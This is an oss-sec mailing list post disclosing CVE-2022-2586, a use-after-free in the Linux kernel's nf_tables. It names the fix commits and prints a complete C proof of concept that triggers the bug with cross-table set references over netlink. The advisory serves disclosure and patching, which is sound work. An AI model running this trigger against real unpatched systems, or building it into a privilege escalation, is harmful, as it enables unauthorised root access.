
oss-sec mailing list archives
Re: CVE-2022-2586 - Linux kernel nf_tables cross-table reference UAF
From: Thadeu Lima de Souza Cascardo <cascardo () canonical com>
Date: Wed, 17 Aug 2022 17:26:52 -0300
On Tue, Aug 09, 2022 at 02:10:35PM -0300, Thadeu Lima de Souza Cascardo wrote:
CVE-2022-2586 - Linux kernel nf_tables cross-table reference UAF It was discovered that a nft object or expression could reference a nft set on a different nft table, leading to a use-after-free once that table was deleted. Team Orca of Sea Security (@seasecresponse) working with Trend Micro's Zero Day Initiative discovered that this vulnerability could be exploited for Local Privilege Escalation. This has been reported as ZDI-CAN-17470, and assigned CVE-2022-2586. This bug was introduced by commit 958bee14d071 ("netfilter: nf_tables: use new transaction infrastructure to handle sets"), which is present since v3.16-rc1. Exploiting it requires CAP_NET_ADMIN in any user or network namespace. A PoC that will trigger KASAN is going to be posted in a week. Fixes have been sent to netfilter-devel () vger kernel org and are at https://lore.kernel.org/netfilter-devel/20220809170148.164591-1-cascardo () canonical com/T/#t.
These have been merged as commits: 470ee20e069a6d05ae549f7d0ef2bdbcee6a81b2 95f466d22364a33d183509629d0879885b4f547e 36d5b2913219ac853908b0f1c664345e04313856 And here is the PoC. It should be linked to libmnl and libnftnl. #include <netdb.h> #include <linux/netfilter.h> #include <linux/netfilter/nf_tables.h> #include <libnftnl/table.h> #include <libnftnl/set.h> #include <libnftnl/object.h> #include <libnftnl/expr.h> #include <libmnl/libmnl.h> #include <err.h> int main(int arg, char **argv) { struct mnl_socket *s; struct mnl_nlmsg_batch *batch; struct nlmsghdr *nh; char buf[16384]; int r; int seq = 0; s = mnl_socket_open(NETLINK_NETFILTER); if (!s) err(1, "failed to create netfilter socket"); /* Create table that will be deleted */ char *table_name = "table1"; struct nftnl_table *table; table = nftnl_table_alloc(); nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); /* Create table where an object reference will be */ char *table2_name = "table2"; struct nftnl_table *table2; table2 = nftnl_table_alloc(); nftnl_table_set_str(table2, NFTNL_TABLE_NAME, table2_name); /* Create object and add it to table1 */ char *obj_name = "obj1"; struct nftnl_obj *obj; obj = nftnl_obj_alloc(); nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name); nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name); nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0); /* Add set to table2 */ char *set_name = "set1"; struct nftnl_set *set; set = nftnl_set_alloc(); nftnl_set_set_str(set, NFTNL_SET_TABLE, table2_name); nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4); nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 8); nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe)); nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_OBJECT|NFT_SET_ANONYMOUS); nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER); /* Now create a reference to the object at table1 */ /* Aha! So this seems to be possible because one can refer to a set in a batch by use of SET_ID instead of SET_NAME */ /* So this must be in the same batch. */ struct nftnl_set *sx = nftnl_set_alloc(); struct nftnl_set_elem *slem = nftnl_set_elem_alloc(); int klen[64]; nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_name); nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe)); nftnl_set_elem_set(slem, NFTNL_SET_ELEM_KEY, &klen, 8); nftnl_set_elem_set_str(slem, NFTNL_SET_ELEM_OBJREF, obj_name); nftnl_set_elem_add(sx, slem); batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_table_nlmsg_build_payload(nh, table); mnl_nlmsg_batch_next(batch); nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_table_nlmsg_build_payload(nh, table2); mnl_nlmsg_batch_next(batch); nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_obj_nlmsg_build_payload(nh, obj); mnl_nlmsg_batch_next(batch); nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_set_nlmsg_build_payload(nh, set); mnl_nlmsg_batch_next(batch); nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_set_elems_nlmsg_build_payload(nh, sx); mnl_nlmsg_batch_next(batch); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); if (r < 0) err(1, "failed to send message"); /* Delete table with the object */ batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_table_nlmsg_build_payload(nh, table); mnl_nlmsg_batch_next(batch); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); /* Delete second table */ batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_table_nlmsg_build_payload(nh, table2); mnl_nlmsg_batch_next(batch); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); return 0; }
Current thread:
- CVE-2022-2586 - Linux kernel nf_tables cross-table reference UAF Thadeu Lima de Souza Cascardo (Aug 09)
- Re: CVE-2022-2586 - Linux kernel nf_tables cross-table reference UAF Thadeu Lima de Souza Cascardo (Aug 18)